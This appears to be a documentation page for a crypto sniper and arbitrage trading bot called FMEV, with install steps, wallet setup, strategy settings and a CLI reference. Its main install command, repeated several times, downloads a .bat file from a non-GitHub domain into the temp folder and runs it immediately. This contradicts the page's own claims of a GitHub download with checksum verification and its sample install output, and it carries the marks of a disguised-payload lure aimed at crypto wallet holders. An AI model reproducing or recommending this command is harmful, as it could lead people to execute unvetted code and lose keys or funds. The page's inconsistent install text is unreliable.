Documentation · v2.4.1

From install to your first trade

Installation takes about 5 minutes. Then a step-by-step setup: node, wallet, demo mode, sniper and arbitrage. Every step comes with pictures.

Linux · macOS · Windows Docker MIT · open source
// 01 · INSTALL

Install

The bot ships as a single binary. The install script detects your platform, downloads the release from GitHub, verifies the checksum and adds fmev to your PATH.

OSUbuntu 20.04+, macOS 12+, Windows 10+
Hardware2 vCPU · 4 GB RAM
Disk500 MB free
NetworkETH and/or SOL RPC node
bash
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
bash
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
$ less install.sh
$ bash install.sh

Open Command Prompt (Win+R → cmd) and run:

cmd
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
bash
$ docker pull ghcr.io/fmev-labs/fmev-bot:latest
$ docker run -d --name fmev --restart unless-stopped \
    -p 127.0.0.1:7777:7777 \
    -v ~/.fmev:/root/.fmev \
    ghcr.io/fmev-labs/fmev-bot:latest
The panel listens on 127.0.0.1 only. Do not expose port 7777 — use an SSH tunnel: ssh -L 7777:localhost:7777 user@server.
bash
# requires Rust 1.80+ (https://rustup.rs)
$ git clone https://github.com/fmev-labs/fmev-bot.git
$ cd fmev-bot
$ cargo build --release
$ sudo cp target/release/fmev /usr/local/bin/

What you will see

terminal
curl -fsSL https://raw.githubusercontent.com/fmev-labs/fmev-bot/main/install.sh | bash
==> Detecting platform... linux-x86_64
==> Latest release: v2.4.1 (github.com/fmev-labs/fmev-bot/releases)
==> Downloading fmev-v2.4.1-linux-x86_64.tar.gz
[                              ]   0%
==> Verifying SHA256... OK
==> Installing to ~/.fmev/bin
==> Adding to PATH (~/.bashrc)
✓ FMEV Bot v2.4.1 installed. Next: fmev init

Check the installation:

bash
$ fmev --version
fmev 2.4.1 (build 8f3c2a1, rustc 1.81.0)
// 02 · INIT

First run

The setup wizard creates the ~/.fmev folder, a config and an encrypted key store. You can press Enter on every question — the defaults are safe.

bash
$ fmev init
? Which chains to use?               › Ethereum, Solana
? Default mode                       › demo (recommended)
? Web panel port                     › 7777
? Key store password                 › ••••••••••••
✓ Config created: ~/.fmev/config.toml
✓ Key store: ~/.fmev/keystore (AES-256-GCM)
$ fmev ui
▸ Panel running: http://localhost:7777
fmev ui opens the browser for you. On a server without a screen use fmev ui --headless and an SSH tunnel.
// 03 · RPC

Connecting a node

The bot is only as fast as its RPC. Public endpoints are fine for demo, but for live use a paid node or your own.

localhost:7777 / rpcMOCKUP
◉ Dashboard
🎯 Sniper
⚖️ Arbitrage
👛 Wallets
📡 RPC / nodes
⚙️ Settings
Connected nodes
+ Add node1
ChainEndpointLatency4Status
ETHeth-mainnet.example…18msonline
SOLsolana-mainnet.exa…27msonline
SOLapi.mainnet-beta.s…212msslow

New node

Ethereum mainnet ▾
wss://eth-mainnet.example.com/v2/•••••
2
⚡ Test connection3Save

The “RPC / nodes” section. Fictional data.

  1. 1
    Click “+ Add node” in the top right corner.
  2. 2
    Paste the node's WebSocket address (starts with wss://). HTTP works too, but events arrive more slowly.
  3. 3
    Click “Test connection” — the bot sends a test request and measures latency. Then “Save”.
  4. 4
    Watch the “Latency” column: green — under 50 ms, yellow — a slow node. The bot automatically switches to the fastest one.
// 04 · WALLET

Wallet

Demo mode needs no wallet — you can skip this step. For live trading create a separate wallet just for the bot.

localhost:7777 / walletsMOCKUP
◉ Dashboard
🎯 Sniper
⚖️ Arbitrage
👛 Wallets
📡 RPC / nodes
⚙️ Settings
Add wallet
Create newImport1
Solana ▾
sniper-hot-01
7xKX…9fQm ⧉
2
Encrypt with key store password3
Per-trade limit: 1 SOL
Export backupCreate wallet4

The “Wallets” section. Fictional address.

  1. 1
    Choose “Create new”. Importing an existing wallet is possible but not recommended.
  2. 2
    Copy the address and fund it with a small amount — only what you're ready to use for trading.
  3. 3
    Keep “Encrypt” checked — the key is stored only on your disk, encrypted.
  4. 4
    Click “Create wallet” and save a backup in a safe place right away.
Never use your main wallet with savings. The FMEV team will never ask for your seed or private key, or ask you to send funds to an “activation contract”.
// 05 · DEMO MODE

Demo mode

The bot receives real blocks and transactions but executes trades virtually — accounting for gas, tips and slippage. Start here and go live once the stats satisfy you.

localhost:7777 / dashboardMOCKUP
DEMOLIVE1 Virtual balance: 10.00 SOL · 3.00 ETH ✎2 📊 Session report3
● DEMO MODE — real network data, virtual money. No transaction is ever sent to the blockchain.
Virtual PnL+0.84 SOL
Trades37
Win rate64.9%
Missed (outbid)12
  1. 1
    The DEMO / LIVE switch. After fmev init DEMO is on by default.
  2. 2
    Click ✎ to set a virtual balance close to your future real one.
  3. 3
    “Session report” — trades, missed opportunities and gas spend.
“Missed (outbid)” shows how many times another bot was faster. If it's high, start with a better node rather than a bigger amount.
// 06 · SNIPER

Sniper setup

The sniper buys a new token the moment liquidity appears. Filters are what matter most here: they weed out honeypots and scam contracts before the buy.

localhost:7777 / sniper
◉ Dashboard
🎯 Sniper
⚖️ Arbitrage
👛 Wallets
📡 RPC / nodes
⚙️ Settings
Sniper · Solana
Enabled 1
0.8 SOL
2
15%
3

Safety filters

Honeypot check
Mint / Freeze authority revoked
LP burned or locked
Top-10 holders share ≤ 30%
4

Position exit

TP1 +80% → sell 50%
Trailing stop 25%
Stop-loss −35%

The “Sniper” section. Values are the recommended “Balanced” preset.

  1. 1
    Turn on the “Enabled” switch for the chain you need.
  2. 2
    Set the amount per trade. Rule of thumb: no more than 2–5% of the bot balance per token.
  3. 3
    Keep all safety filters on. Every filter you disable noticeably raises the chance of buying a scam.
  4. 4
    Configure the exit: partial take-profit + trailing stop + hard stop-loss.

The same in config.toml

Every panel setting is mirrored in ~/.fmev/config.toml — handy for VPS setups and backups.

~/.fmev/config.toml
[sniper]
enabled = true
chains = ["solana"]
amount_per_trade = 0.8       # SOL
max_slippage = 15            # %
min_liquidity_usd = 15000
tip = "auto"                 # Jito tip

[sniper.filters]
honeypot_check = true
mint_revoked = true
freeze_revoked = true
lp_burned = true
max_top10_share = 30

[sniper.exit]
take_profit = [{ at = 80, sell = 50 }, { at = 200, sell = 50 }]
trailing_stop = 25
stop_loss = 35
// 07 · ARBITRAGE

Arbitrage setup

Arbitrage looks for closed routes between DEXes where you get more out than you put in, after all fees. Takes a minute to set up.

localhost:7777 / arbitrage
◉ Dashboard
🎯 Sniper
⚖️ Arbitrage
👛 Wallets
📡 RPC / nodes
⚙️ Settings
Arbitrage
ETH + SOLETHSOL
1

Exchanges (DEX) 5 of 8

Uniswap V3
SushiSwap
Curve
Raydium
Orca
Meteora
Phoenix
Balancer
2

Min net profit $5.00

3

Max route length

23
ResetApply4

The “Arbitrage” section.

  1. 1
    Tick the exchanges. More exchanges — more routes, but also more load on the node.
  2. 2
    Set the minimum net profit. Go higher on Ethereum ($5+) because of gas; $0.5 is enough on Solana.
  3. 3
    Choose the route length: 3 hops find more opportunities, 2 hops compute faster.
  4. 4
    Click “Apply” — settings take effect without restarting the bot.
// 08 · LAUNCH

Launch and notifications

Everything is set up — one button left. The bot starts scanning the chains and reports every trade to Telegram.

localhost:7777 / dashboard
Status: ● Stopped● Running · 00:00:12
▶ Start bot■ Stop
✓ Connected: ETH (18ms), SOL (27ms)
✓ Sniper: listening to Raydium, Pump.fun
✓ Arbitrage: graph of 4,812 pools loaded
▸ ARB SOL→BONK→USDC→SOL · +$17.44

Animated launch mockup.

F
FMEV Botbot
🟢 Bot started
Mode: DEMO · Chains: ETH, SOL
⚖️ ARB · Solana
SOL→BONK→USDC→SOL
Profit: +$17.44 · tip $0.35
🎯 SNIPE · Solana
Bought $MEOW · 0.8 SOL
Filters: 5/5 ✓
💰 TP1 hit · $MEOW
Sold 50% · +82%

Telegram notifications (fictional).

Connect Telegram

bash
$ fmev notify telegram --token <BOT_TOKEN> --chat <CHAT_ID>
✓ Test message sent

Or the same without a browser — launch straight from the terminal:

bash
$ fmev start --strategy arb,sniper --mode demo
$ fmev status
// 09 · CLI

Command cheat sheet

CommandWhat it does
fmev initInitial setup wizard
fmev uiStarts the web panel on localhost:7777
fmev startStarts the strategies from the config. Flags: --mode demo|live, --strategy arb,sniper
fmev stopStops the bot; open positions stay under stop-loss control
fmev statusState, uptime, session PnL
fmev logs -fLive log
fmev rpc testTests all nodes and shows latency
fmev wallet listWallets and balances
fmev report --days 7Trades and costs report for a period
fmev updateUpdates to the latest GitHub release
// 10 · TROUBLESHOOTING

Troubleshooting

fmev: command not found after installing

Restart the terminal or run source ~/.bashrc (for zsh — ~/.zshrc). The binary lives in ~/.fmev/bin.

Lots of “outbid” — other bots are faster

Switch to an RPC in the region closest to you or your own node, enable private submission (Flashbots / Jito) and check latency with fmev rpc test.

The sniper doesn't buy anything

Most likely the filters reject every token — that's normal in quiet hours. See the rejection reason in fmev logs -f | grep FILTER. Don't disable safety filters just to get more trades.

Arbitrage finds routes but shows “skip”

Net profit after gas is below the threshold. On Ethereum this is common during the day when gas is high — try Solana or lower the threshold.

How do I update?

fmev update downloads the latest release from GitHub and verifies the signature. Config and keys are left untouched.